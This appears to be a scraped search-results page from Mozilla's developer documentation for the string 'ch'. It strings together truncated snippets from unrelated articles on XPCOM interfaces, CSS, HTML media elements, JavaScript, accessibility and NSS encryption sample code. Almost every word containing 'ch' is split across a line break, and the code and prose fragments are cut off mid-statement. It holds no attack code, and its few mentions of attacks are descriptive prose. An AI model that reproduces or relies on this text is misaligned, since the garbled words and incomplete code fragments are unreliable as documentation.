chekey, in nsiuri areferrer, in long areferrerpolicy, in nsiinputstream apostdata, in string aextraheaders, in nsisupports afile, in boolean aisprivate); attributes attribute type description currentstate unsigned long current state of the persister object.
...And 27 more matches
nsIWindowMediator
inherits from: nsisupports last
changed in gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5) the two most common uses of nsiwindowmediator are, enumerating all windows of a given type and getting the most recent / any window of a given type.
... methods addlistener() register a listener for window status
changes.
...important: this will atta
ch the functionality to future opened windows, so if you copy paste this code to scrat
chpad, then after running this script, you need to open a new window by pressing ctrl + n and then in the new window, selecting tabs will fire the alert.
...And 27 more matches
The HTML DOM API - Web APIs
the html dom api is made up of the interfaces that define the functionality of ea
ch of the elements in html, as well as any supporting types and interfaces they rely upon.
... access to the browser navigation history supporting and connective interfaces for other apis su
ch as web components, web storage, web workers, websocket, and server-sent events.
...discussion of other areas, su
ch as drag and drop, websockets, web storage, etc.
...And 27 more matches
Typical use cases of Flexbox - CSS: Cascading Style Sheets
why
choose flexbox?
... in a perfect world of browser support, the reason you'd
choose to use flexbox is because you want to lay a collection of items out in one direction or another.
...this is something that may well
change once box alignment is implemented in block layout.
...And 27 more matches
CSS grids, logical values, and writing modes - CSS: Cascading Style Sheets
in these guides, i have already tou
ched on an important feature of grid layout: the support for different writing modes that is built into the specification.
...i have added dir="rtl" to the html element, whi
ch swit
ches the writing mode from the default for an english language document of ltr.
...the second however, swit
ches direction and the text runs from right to left .
...And 27 more matches
appearance (-moz-appearance, -webkit-appearance) - CSS: Cascading Style Sheets
the -moz-appearance and -webkit-appearance properties are non-standard versions of this propery, used (respectively) by gecko (firefox) and by webkit-based (e.g., safari) and blink-based (e.g.,
chrome, opera) browsers to a
chieve the same thing.
...starting with gecko/firefox 80, these uses were
changed to -moz-default-appearance, whi
ch should never be used outside of internal stylesheets.
... syntax /* css basic user interface module level 4 values */ appearance: none; appearance: auto; appearance: menulist-button; appearance: textfield; /* "compat-auto" values, whi
ch have the same effect as 'auto' */ appearance: button; appearance: sear
chfield; appearance: textarea; appearance: push-button; appearance: slider-horizontal; appearance:
checkbox; appearance: radio; appearance: square-button; appearance: menulist; appearance: listbox; appearance: meter; appearance: progress-bar; /* partial list of available values in gecko */ -moz-appearance: scrollbarbutton-up; ...
...And 27 more matches
<video>: The Video Embed element - HTML: Hypertext Markup Language
the html video element (<video>) embeds a media player whi
ch supports video playback into the document.
...in a similar manner to the <img> element, we include a path to the media we want to display inside the src attribute; we can include other attributes to specify information su
ch as video width and height, whether we want it to autoplay and loop, whether we want to show the browser's default video controls, etc.
...
chrome 70.0) autoplay doesn't work if no muted attribute is present.
...And 27 more matches
Expressions and operators - JavaScript
« previousnext » this
chapter describes javascript's expressions and operators, including assignment, comparison, arithmetic, bitwise, logical, string, ternary and more.
...the simple assignment operator is equal (=), whi
ch assigns the value of its right operand to its left operand.
...(x = y) return value and
chaining like most expressions, assignments like x = y have a return value.
...And 27 more matches
How CSS is structured - Learn web development
you reference an external css stylesheet from an html <link> element: <!doctype html> <html> <head> <meta
charset="utf-8"> <title>my css experiment</title> <link rel="stylesheet" href="styles.css"> </head> <body> <h1>hello world!</h1> <p>this is my first css example</p> </body> </html> the css stylesheet file might look like this: h1 { color: blue; background-color: yellow; border: 1px solid black; } p { color: red; } the href attribute of the <link> element needs to re...
...here are three examples: <!-- inside a subdirectory called styles inside the current directory --> <link rel="stylesheet" href="styles/style.css"> <!-- inside a subdirectory called general, whi
ch is in a subdirectory called styles, inside the current directory --> <link rel="stylesheet" href="styles/general/style.css"> <!-- go up one directory level, then inside a subdirectory called styles --> <link rel="stylesheet" href="../styles/style.css"> internal stylesheet an internal stylesheet resides within an html document.
... the html for an internal stylesheet might look like this: <!doctype html> <html> <head> <meta
charset="utf-8"> <title>my css experiment</title> <style> h1 { color: blue; background-color: yellow; border: 1px solid black; } p { color: red; } </style> </head> <body> <h1>hello world!</h1> <p>this is my first css example</p> </body> </html> in some circumstances, internal stylesheets can be useful.
...And 26 more matches
Styling web forms - Learn web development
objective: to understand the issues behind styling forms, and learn some of the basic styling te
chniques that will be useful to you.
... why is styling form widgets
challenging?
...but this has
changed.
...And 26 more matches
CSUN Firefox Materials
it's a quick download, occupies very little disk space, and has a clean, no-nonsense interface." - pc magazine firefox 1.5 is a fast, free, standards compliant web browser whi
ch is rapidly gaining recognition for its fresh, streamlined approa
ch to browsing the web.
... in addition to winning major awards su
ch as pc world product of the year, firefox has attracted a huge following among savvy users who simply care enough about their web browsing experience to download a new piece of software.
... websites su
ch as online magazines with sophisticated audiences are now reporting upwards of 25% firefox usage.
...And 26 more matches
Examples
.path.join(os.constants.path.tmpdir, "file.txt"); let promise = os.file.exists(path); let newpromise = promise.then(function onfulfill(aexists) { if (aexists) { console.log("you have file.txt in your temporary directory."); } else { throw new error("you don't have file.txt in your temporary directory."); } }); // unexpected errors should always be reported at the end of a promise
chain.
... let lastpromise = newpromise.then(function onfulfill(){ }) .cat
ch(function onreject(arejectreason) { console.warn('newpromise failed with reason: ', arejectreason); }); using a promise returned by a function (verbose) this example uses a verbose syntax, showing all the involved promises.
...= os.path.join(os.constants.path.tmpdir, "file.txt"); let promise = os.file.exists(path); let newpromise = promise.then(function onfulfill(aexists) { if (aexists) { console.log("you have file.txt in your temporary directory."); } else { console.log("you don't have file.txt in your temporary directory."); } }); // unexpected errors should always be reported at the end of a promise
chain.
...And 26 more matches
WebRequest.jsm
you can use webrequest.jsm in either the
chrome or content processes.
... the webrequest api is modeled on
chrome's webrequest extension api, whi
ch makes it easier to write cross-browser add-on code.
... there are some differences between this api and
chrome's, though: see
chrome incompatibilities for the details.
...And 26 more matches
Bootstrapping a new locale
when a localization team is registered and your hg repository is set up for a locale, you can then clone the existing mozilla release bran
ch (i.e.
... hg allows localizers to work locally on their ma
chines and then "push"
changes to their official mozilla repository.
... installing mercurial depending on your operating system, you will need to install the correct version of hg on your ma
chine.
...And 26 more matches
Localization and Plurals
usage here are a couple terms used in this page to help keep things clear: plural rule: for a given language, there is a grammatical rule on how to
change words, depending on the number qualifying the word.
... plural form: for a particular plural rule, there can be multiple forms of a word, su
ch as "page" and "pages".
... if you're here for pluralrule in the
chrome/global/intl.properties file, you'll need to figure out what plural rule to
choose for your localization.
...And 26 more matches
Encrypt Decrypt_MAC_Using Token
*/ static void usage(const
char *progname) { fprintf(stderr, "\nusage: %s -c -d [-z ] " "[-p | -f ] -i -o \n\n", progname); fprintf(stderr, "%-20s specify 'a' for encrypt operation\n\n", "-c "); fprintf(stderr, "%-20s specify 'b' for decrypt operation\n\n", " "); fprintf(stderr, "%-20s specify db directory path\n\n", "-d "); fprintf(std...
... */ pk11symkey * generatesymkey(pk11slotinfo *slot, ck_me
chanism_type me
chanism, int keysize, secitem *keyid, secupwdata *pwdata) { secstatus rv; pk11symkey *key; if (pk11_needlogin(slot)) { rv = pk11_authenticate(slot, pr_true, pwdata); if (rv != secsuccess) { pr_fprintf(pr_stderr, "could not authenticate to token %s.\n", pk11_gettokenname(slot)); return nu...
...*/ key = pk11_tokenkeygen(slot, me
chanism, null, keysize, keyid, pr_true, pwdata); if (!key) { pr_fprintf(pr_stderr, "symmetric key generation failed \n"); } return key; } /* * macinit */ secstatus macinit(pk11context *ctx) { secstatus rv = pk11_digestbegin(ctx); if (rv != secsuccess) { pr_fprintf(pr_stderr, "compute mac failed : pk11_digestbegin()\n"); } return rv; } /* * macupdate */ secstatus macupdate(pk11context *ctx, unsigned
char *msg, unsigned int msglen) { secstatus rv = pk11_digestop(ctx, msg, msglen); if (rv != secsuccess) { pr_fprintf(pr_stderr, "compute mac failed : digestop()\n"); } return rv; } /* * final...
...And 26 more matches
sslintro.html
if you are inclined to help with this migration, your help would be very mu
ch appreciated.
... upgraded documentation may be found in the current nss reference overview of an ssl application
chapter 1 overview of an ssl application ssl and related apis allow compliant applications to configure sockets for authenticated, tamper-proof, and encrypted communications.
... this
chapter introduces some of the basic ssl functions.
...And 26 more matches
NSS Tools ssltap
using the ssl debugging tool (ssltap) newsgroup: mozilla.dev.te
ch.crypto the ssl debugging tool is an ssl-aware command-line proxy.
... it wat
ches tcp connections and displays the data going by.
...the tool also displays the data to the shell window from whi
ch it was called.
...And 26 more matches
Tracing JIT
the tracing jit in spidermonkey consists of a generic, low level component called nanojit whi
ch is co-maintained between adobe and mozilla, and a spidermonkey-specific high level component called jstracer.
...the monitor wat
ches the executing spidermonkey interpreter.
... a s
chematic diagram of the components of the tracing jit follows: generic low level component: nanojit/* the files in the nanojit directory define the nanojit component.
...And 26 more matches
JS::CompileOptions
constructor js::readonlycompileoptions(); // added in spidermonkey 31 js::owningcompileoptions(jscontext *cx); // added in spidermonkey 31 js::compileoptions(jscontext *cx, jsversion version = jsversion_unknown); name type description cx jscontext * pointer to a js context from whi
ch to derive runtime information.
... methods some methods of js::owningcompileoptions and js::compileoptions return the instance itself to allow method
chain.
...this allows an attack by whi
ch a malicious website loads a sensitive file (say, a bank statement) cross-origin (using the user's cookies), and sniffs the generated syntax errors (via a window.onerror handler) for juicy morsels of its contents.
...And 26 more matches
Avoiding leaks in JavaScript XPCOM components
this article needs to be updated to reflect the
changes and the cases where they help.
...the requirements for su
ch a memory allocation system are: memory should be returned to the heap when the program no longer needs it (or soon thereafter) so that the amount of memory consumed by the program does not increase.
...it's difficult to use this strategy when there are multiple pointers to a given object and it's uncertain whi
ch one will need to last the longest.
...And 26 more matches
PromiseFlatCString (External)
class declaration method overview get operator= adopt beginreading endreading
charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral replace append appendliteral operator+= insert cut truncate strip
chars stripwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral find rfind find
char rfind
char ...
...methods get
char* get() const - source operator= nscstring_external& operator=(const nscstring_external&) - source parameters nscstring_external& astring nsacstring& operator=(const nsacstring&) - source parameters nsacstring& astring nsacstring& operator=(const
char*) - source parameters
char* aptr nsacstring& operator=(
char) - source parameters
char a
char adopt void adopt(const
char*, pruint32) - source parameters
char* adata pruint32 alength beginr...
...eading pruint32 beginreading(const
char**, const
char**) const - source returns the length, beginning, and end of a string in one operation.
...And 26 more matches
nsACString (External)
area alt="" coords="499,294,779,342" href="http://developer.mozilla.org/en/ns_lossyconvertutf16toascii_external" shape="rect" title="ns_lossyconvertutf16toascii_external"> <area alt="" coords="803,294,925,342" href="http://developer.mozilla.org/en/nsliteralcstring_(external)" shape="rect" title="nsliteralcstring_(external)"></map> method overview beginreading endreading
charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral operator= replace append appendliteral operator+= insert cut truncate strip
chars stripwhitespace ...
... trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral find rfind find
char rfind
char appendint tointeger data members no public members.
... methods beginreading pruint32 beginreading(const
char**, const
char**) const - source returns the length, beginning, and end of a string in one operation.
...And 26 more matches
nsCAutoString (External)
class declaration method overview get operator= adopt beginreading endreading
charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral replace append appendliteral operator+= insert cut truncate strip
chars stripwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral find rfind find
char rfind
char ...
...methods get
char* get() const - source operator= nscstring_external& operator=(const nscstring_external&) - source parameters nscstring_external& astring nsacstring& operator=(const nsacstring&) - source parameters nsacstring& astring nsacstring& operator=(const
char*) - source parameters
char* aptr nsacstring& operator=(
char) - source parameters
char a
char adopt void adopt(const
char*, pruint32) - source parameters
char* adata pruint32 alength beginr...
...eading pruint32 beginreading(const
char**, const
char**) const - source returns the length, beginning, and end of a string in one operation.
...And 26 more matches
nsCStringContainer (External)
class declaration method overview beginreading endreading
charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral operator= replace append appendliteral operator+= insert cut truncate strip
chars stripwhitespace trim defaultcomparator compare(const
char*, print32 (*) compare(const nsacstring&, print32 (*) equals(const
char*, print32 (*) equals(const nsacstring&, print32 (*) operator< operator<= operator== operator>= opera...
...tor> operator!= equalsliteral find(const nsacstring&, print32 (*) find(const nsacstring&, pruint32, print32 (*) find(const
char*, print32 (*) find(const
char*, pruint32, print32 (*) rfind(const nsacstring&, print32 (*) rfind(const nsacstring&, print32, print32 (*) rfind(const
char*, print32 (*) rfind(const
char*, print32, print32 (*) find
char rfind
char appendint tointeger base classes nsacstring data members no public members.
... methods beginreading pruint32 beginreading(const
char**, const
char**) const - source returns the length, beginning, and end of a string in one operation.
...And 26 more matches
nsIScriptableIO
file and stream guide: [ nsiscriptableio | accessing files | getting file information | reading from files | writing to files | moving, copying and deleting files | uploading and downloading files | working with directories ] important note: the pages from the file and stream guide use the io object (nsiscriptableio), whi
ch was not available in any released version of the platform (pending some fixes).
... there are alternative xpcom apis you can use, your help in updating this pages to use the supported api is very mu
ch welcome!
... last
changed in gecko 1.9 (firefox 3) inherits from: nsisupports a scriptable io object can be used in an extension or
chrome code by referring to the global io object.
...And 26 more matches
Xray vision
the javascript code that along with the c++ core, implements the browser itself is called
chrome code and runs using system privileges.
... if
chrome-privileged code is compromised, the attacker can take over the user's computer.
... as well as these two levels of privilege,
chrome code can create sandboxes.
...And 26 more matches
Debugger.Object - Firefox Developer Tools
spidermonkey creates exactly one debugger.object instance for ea
ch debuggee object it presents to a given debugger instance: if the debugger encounters the same object through two different routes (perhaps two functions are called on the same object), spidermonkey presents the same debugger.object instance to the debugger ea
ch time.
...(in firefox terminology, privileged code sees the element through an “xray wrapper”.) to ensure that debugger code sees ea
ch object just as the debuggee would, ea
ch debugger.object instance presents its referent as it would be seen from a particular compartment.
... this “viewing compartment” is
chosen to mat
ch the way the debugger came across the referent.
...And 26 more matches
AddressErrors - Web APIs
any members whi
ch is present indicates that a validation error occurred for the member of the same name in an address described using paymentaddress.
... addresserrors is the type of the object returned by shippingaddresserrors in the paymentdetailsupdate passed into paymentrequestupdateevent.updatewith() by the shippingaddress
change event handler if a
change to the address resulted in a validation error occurring.
... properties addressline a domstring whi
ch, if present, indicates that the addressline property of the paymentaddress could not be validated.
...And 26 more matches
Guide to the Fullscreen API - Web APIs
activating full-screen mode given an element that you'd like to present in full-screen mode (su
ch as a <video>, for example), you can present it in full-screen mode by simply calling its requestfullscreen() method.
... let's consider this <video> element: <video controls id="myvideo"> <source src="somevideo.webm"></source> <source src="somevideo.mp4"></source> </video> we can put that video into full-screen mode as follows: var elem = document.getelementbyid("myvideo"); if (elem.requestfullscreen) { elem.requestfullscreen(); } this code
checks for the existence of the requestfullscreen() method before calling it.
... presentation differences it's worth noting a key difference here between the gecko and webkit implementations at this time: gecko automatically adds css rules to the element to stret
ch it to fill the screen: "width: 100%; height: 100%".
...And 26 more matches
HTMLMediaElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 180" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlmediaelement" target="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle"...
...And 26 more matches
Using bounded reference spaces - Web APIs
not only is it represented by a unique subclass, xrboundedreferencespace, but it's the only one whi
ch restricts movement based not upon virtual restrictions but upon limitations imposed by the real world.
... there are many uses for bounded reference spaces, including projects su
ch as virtual paint studios or 3d construction, modeling, or sculpting systems; training simulations or lesson scenarios; dance or other performance-based games; or the preview of 3d objects in the real world using augmented reality.
... introduction a bounded reference space is one whi
ch represents an xr environment in whi
ch the user is able to move around physically in the real world while being tracked by the xr hardware, with their movements being then transposed into the simulation.
...And 26 more matches
Controlling multiple parameters with ConstantSourceNode - Web APIs
this article demonstrates how to use a constantsourcenode to link multiple parameters together so they share the same value, whi
ch can be
changed by simply setting the value of the constantsourcenode.offset parameter.
... you may have times when you want to have multiple audio parameters be linked so they share the same value even while being
changed in some way.
...you could use a loop and
change the value of ea
ch affected audioparam one at a time, but there are two drawbacks to doing it that way: first, that's extra code that, as you're about to see, you don't have to write; and second, that loop uses valuable cpu time on your thread (likely the main thread), and there's a way to offload all that work to the audio rendering thread, whi
ch is optimized for this kind of work and may run at a more appropriate priority level than your code.
...And 26 more matches
Migrating from webkitAudioContext - Web APIs
the web audio api went through many iterations before rea
ching its current state.
...as the specification evolved and
changes were made to the spec, some of the old implementation pieces were not removed from the webkit (and blink) implementations due to backwards compatibility reasons.
... new engines implementing the web audio spec (su
ch as gecko) will only implement the official, final version of the specification, whi
ch means that code using webkitaudiocontext or old naming conventions in the web audio specification may not immediately work out of the box in a compliant web audio implementation.
...And 26 more matches
ARIA live regions - Accessibility
using javascript, it is possible to dynamically
change parts of a page without requiring the entire page to reload — for instance, to update a list of sear
ch results on the fly, or to display a discreet alert or notification whi
ch does not require user interaction.
... while these
changes are usually visually apparent to users who can see the page, they may not be obvious to users of assistive te
chnologies.
... aria live regions fill this gap and provide a way to programmatically expose dynamic content
changes in a way that can be announced by assistive te
chnologies.
...And 26 more matches
Understandable - Accessibility
success criteria how to conform to the criteria practical resource 3.1.1 language of page (a) the default human language of ea
ch web page should be detectable via code.
...the simplest way to a
chieve this is to set the lang attribute on the page's <html> element, giving it a value equal to the language code that best represents the language the page is written in.
... you don't need to set a different language for words or phrases that are the same regardless of language (for example proper names, te
chnical terms that aren't part of a specific language).
...And 26 more matches
Linear-gradient Generator - CSS: Cascading Style Sheets
background-image: url("images/alpha.png"); float: left; position: relative; } .ui-color-picker .preview:before { height: 100%; width: 50%; left: 50%; top: 0; content: ""; background: #fff; position: absolute; z-index: 1; } .ui-color-picker .preview-color { width: 100%; height: 100%; background-color: rgba(255, 0, 0, 0.5); position: absolute; z-index: 1; } .ui-color-picker .swit
ch_mode { width: 10px; height: 20px; position: relative; border-radius: 5px 0 0 5px; border: 1px solid #ddd; background-color: #eee; left: -12px; top: -1px; z-index: 1; transition: all 0.5s; } .ui-color-picker .swit
ch_mode:hover { background-color: #ccc; cursor: pointer; } /* * ui component */ .ui-input-slider { height: 20px; font-family: "segoe ui", arial, helvetica, sans-serif; ...
...'hsl' : 'hsv'; this.color.setformat(this.picker_mode); this.createpickingarea(); this.createhuearea(); this.newinputcomponent('h', 'hue', this.input
changehue.bind(this)); this.newinputcomponent('s', 'saturation', this.input
changesaturation.bind(this)); this.newinputcomponent('v', 'value', this.input
changevalue.bind(this)); this.newinputcomponent('l', 'lightness', this.input
changelightness.bind(this)); this.createalphaarea(); this.newinputcomponent('r', 'red', this.input
changered.bind(this)); this.newinputcomponent('g', 'green', th...
...is.input
changegreen.bind(this)); this.newinputcomponent('b', 'blue', this.input
changeblue.bind(this)); this.createpreviewbox(); this.create
changemodebutton(); this.newinputcomponent('alpha', 'alpha', this.input
changealpha.bind(this)); this.newinputcomponent('hexa', 'hexa', this.input
changehexa.bind(this)); this.setcolor(this.color); pickers[topic] = this; } /*************************************************************************/ // function for generating the color-picker /*************************************************************************/ colorpicker.prototype.createpickingarea = function createpickingarea() { var area = document.createelement('div'); var picker = document.createelement('div'); area.classname = 'picking-area'; picker.classname =...
...And 26 more matches
Getting Started - Developer guides
ajax stands for asyn
chronous javascript and xml.
...ajax’s most appealing
characteristic is its "asyn
chronous" nature, whi
ch means it can communicate with the server, ex
change data, and update the page without having to refresh the page.
...at this stage, you need to tell the xmlhttp request object whi
ch javascript function will handle the response, by setting the onreadystate
change property of the object and naming it after the function to call when the request
changes state, like this: httprequest.onreadystate
change = nameofthefunction; note that there are no parentheses or parameters after the function name, because you're assigning a reference to the function, rather than actually calling i...
...And 26 more matches
<audio>: The Embed Audio element - HTML: Hypertext Markup Language
it may contain one or more audio sources, represented using the src attribute or the <source> element: the browser will
choose the most suitable one.
...in a similar manner to the <img> element, we include a path to the media we want to embed inside the src attribute; we can include other attributes to specify information su
ch as whether we want it to autoplay and loop, whether we want to show the browser's default audio controls, etc.
... crossorigin this enumerated attribute indicates whether to use cors to fet
ch the related audio file.
...And 26 more matches
<input type="range"> - HTML: Hypertext Markup Language
<input> elements of type range let the user specify a numeric value whi
ch must be no less than a given value, and no more than another given value.
... events
change and input supported common attributes autocomplete, list, max, min, and step idl attributes list, value, and valueasnumber methods stepdown() and stepup() validation there is no pattern validation available; however, the following forms of automatic validation are performed: if the value is set to something whi
ch can't be converted into a valid f...
... value the value attribute contains a domstring whi
ch contains a string representation of the selected number.
...And 26 more matches
Indexed collections - JavaScript
« previousnext » this
chapter introduces collections of data whi
ch are ordered by an index value.
... this includes arrays and array-like constructs su
ch as array objects and typedarray objects.
... for example, consider an array called emp, whi
ch contains employees' names indexed by their numerical employee number.
...And 26 more matches
Strict mode - JavaScript
strict mode makes several
changes to normal javascript semantics: eliminates some javascript silent errors by
changing them to throw errors.
... see transitioning to strict mode, if you want to
change your code to work in the restricted variant of javascript.
...it doesn't apply to block statements enclosed in {} braces; attempting to apply it to su
ch contexts does nothing.
...And 26 more matches
Navigation and resource timings - Web Performance
the general performance timings below have been deprecated in favor of the performance entry api, whi
ch provides for marking and measuring times along the navigation and resource loading process.
... the performance timing api provided read only times, in milliseconds(ms), describing at what time ea
ch point in the page loading process was rea
ched.
... as displayed in the image below, the navigation process goes from navigationstart, unloadeventstart, unloadeventend, redirectstart, redirectend, fet
chstart, domainlookupstart, domainlookupend, connectstart , connectend, secureconnectionstart, requeststart, responsestart, responseend, domloading, dominteractive, domcontentloadedeventstart, domcontentloadedeventend, domcomplete, loadeventstart, and loadeventend.
...And 26 more matches
Getting started with CSS - Learn web development
save the code below as index.html in a folder on your ma
chine.
... <!doctype html> <html lang="en"> <head> <meta
charset="utf-8"> <title>getting started with css</title> </head> <body> <h1>i am a level one heading</h1> <p>this is a paragraph of text.
...if that doesn't happen, carefully
check that you've typed everything correctly.
...And 25 more matches
What text editors are available? - Learn web development
objective: learn how to
choose a text editor that best suits your needs as a web developer.
... summary a website consists mostly of text files, so for a fun, pleasant development experience you should
choose your text editor wisely.
... the sheer number of
choices is a bit overwhelming, since a text editor is so basic to computer science (yes, web development is computer science).
...And 25 more matches
The HTML5 input types - Learn web development
now we'll look at the functionality of newer form controls in detail, including some new input types, whi
ch were added in html5 to allow collection of specific types of data.
... you can also use the multiple attribute in combination with the email input type to allow several email addresses to be entered in the same input (separated by commas): <input type="email" id="email" name="email" multiple> on some devices — notably, tou
ch devices with dynamic keyboards like smart phones — a different virtual keypad might be presented that is more suitable for entering email addresses, including the @ key.
...your apps should always perform security
checks on any form-submitted data on the server-side as well as the client-side, because client-side validation is too easy to turn off, so malicious users can still easily send bad data through to your server.
...And 25 more matches
Adding a new event
first, you need to
choose whi
ch type you need.
... a simple dom event whi
ch can be implemented with webidl and widgetevent or something.
... a dom event whi
ch represents a native event like a user action su
ch as keyboard or mouse input.
...And 25 more matches
Profile Manager
firefox provides a built-in applet to manage these profiles, but it will eventually be going away (see bug 214675), so a new standalone profile manager application has been created, whi
ch works with any xulrunner application, and has many features not found in firefox's built-in version.
... downloading binaries you can download profile manager builds from https://ftp.mozilla.org/pub/mozilla.org/utilities/profilemanager/1.0/ note: there is no installer; just extract the files from the ar
chive.
... starting profile manager to start profile manager, just laun
ch profilemanager.exe (on windows) or profilemanager-bin (on linux and mac).
...And 24 more matches
Encrypt Decrypt MAC Keys As Session Objects
mac-----" #define mac_trailer "-----end mac-----" #define pad_header "-----begin pad-----" #define pad_trailer "-----end pad-----" typedef enum { encrypt, decrypt, unknown } commandtype; typedef enum { symkey = 0, mackey = 1, iv = 2, mac = 3, pad = 4 } headertype; /* * print usage message and exit */ static void usage(const
char *progname) { fprintf(stderr, "\nusage: %s -c -d [-z ] " "[-p | -f ] -i -o \n\n", progname); fprintf(stderr, "%-20s specify 'a' for encrypt operation\n\n", "-c "); fprintf(stderr, "%-20s specify 'b' for decrypt operation\n\n", " "); fprintf(stderr, "%-20s specify db directory path\n\n", "-d "); fprintf(std...
...tem* buf) { secstatus rv = pk11_readrawattribute(pk11_typesymkey, key, cka_id, buf); if (rv != secsuccess) { pr_fprintf(pr_stderr, "pk11_readrawattribute returned (%d)\n", rv); pr_fprintf(pr_stderr, "could not read symkey cka_id attribute\n"); return rv; } return rv; } /* * generate a symmetric key */ pk11symkey * generatesymkey(pk11slotinfo *slot, ck_me
chanism_type me
chanism, int keysize, secitem *keyid, secupwdata *pwdata) { secstatus rv; pk11symkey *key; if (pk11_needlogin(slot)) { rv = pk11_authenticate(slot, pr_true, pwdata); if (rv != secsuccess) { pr_fprintf(pr_stderr, "could not authenticate to token %s.\n", pk11_gettokenname(slot)); return nu...
...ll; } } /* generate the symmetric key */ key = pk11_tokenkeygen(slot, me
chanism, null, keysize, keyid, pr_true, pwdata); if (!key) { pr_fprintf(pr_stderr, "symmetric key generation failed \n"); } return key; } /* * macinit */ secstatus macinit(pk11context *ctx) { secstatus rv = pk11_digestbegin(ctx); if (rv != secsuccess) { pr_fprintf(pr_stderr, "compute mac failed : pk11_digestbegin()\n"); } return rv; } /* * macupdate */ secstatus macupdate(pk11context *ctx, unsigned
char *msg, unsigned int msglen) { secstatus rv = pk11_digestop(ctx, msg, msglen); if (rv != secsuccess) { pr_fprintf(pr_stderr, "compute mac failed : digestop()\n"); } return rv; } /* * finali...
...And 24 more matches
Encrypt and decrypt MAC using token
mac-----" #define mac_trailer "-----end mac-----" #define pad_header "-----begin pad-----" #define pad_trailer "-----end pad-----" typedef enum { encrypt, decrypt, unknown } commandtype; typedef enum { symkey = 0, mackey = 1, iv = 2, mac = 3, pad = 4 } headertype; /* * print usage message and exit */ static void usage(const
char *progname) { fprintf(stderr, "\nusage: %s -c -d [-z ] " "[-p | -f ] -i -o \n\n", progname); fprintf(stderr, "%-20s specify 'a' for encrypt operation\n\n", "-c "); fprintf(stderr, "%-20s specify 'b' for decrypt operation\n\n", " "); fprintf(stderr, "%-20s specify db directory path\n\n", "-d "); fprintf(std...
...tem* buf) { secstatus rv = pk11_readrawattribute(pk11_typesymkey, key, cka_id, buf); if (rv != secsuccess) { pr_fprintf(pr_stderr, "pk11_readrawattribute returned (%d)\n", rv); pr_fprintf(pr_stderr, "could not read symkey cka_id attribute\n"); return rv; } return rv; } /* * generate a symmetric key */ pk11symkey * generatesymkey(pk11slotinfo *slot, ck_me
chanism_type me
chanism, int keysize, secitem *keyid, secupwdata *pwdata) { secstatus rv; pk11symkey *key; if (pk11_needlogin(slot)) { rv = pk11_authenticate(slot, pr_true, pwdata); if (rv != secsuccess) { pr_fprintf(pr_stderr, "could not authenticate to token %s.\n", pk11_gettokenname(slot)); return nu...
...ll; } } /* generate the symmetric key */ key = pk11_tokenkeygen(slot, me
chanism, null, keysize, keyid, pr_true, pwdata); if (!key) { pr_fprintf(pr_stderr, "symmetric key generation failed \n"); } return key; } /* * macinit */ secstatus macinit(pk11context *ctx) { secstatus rv = pk11_digestbegin(ctx); if (rv != secsuccess) { pr_fprintf(pr_stderr, "compute mac failed : pk11_digestbegin()\n"); } return rv; } /* * macupdate */ secstatus macupdate(pk11context *ctx, unsigned
char *msg, unsigned int msglen) { secstatus rv = pk11_digestop(ctx, msg, msglen); if (rv != secsuccess) { pr_fprintf(pr_stderr, "compute mac failed : digestop()\n"); } return rv; } /* * finali...
...And 24 more matches
NSS Sample Code Sample_3_Basic Encryption and MACing
n mac-----" #define mac_trailer "-----end mac-----" #define pad_header "-----begin pad-----" #define pad_trailer "-----end pad-----" typedef enum { encrypt, decrypt, unknown } commandtype; typedef enum { symkey = 0, mackey = 1, iv = 2, mac = 3, pad = 4 } headertype; /* print a usage message and exit */ static void usage(const
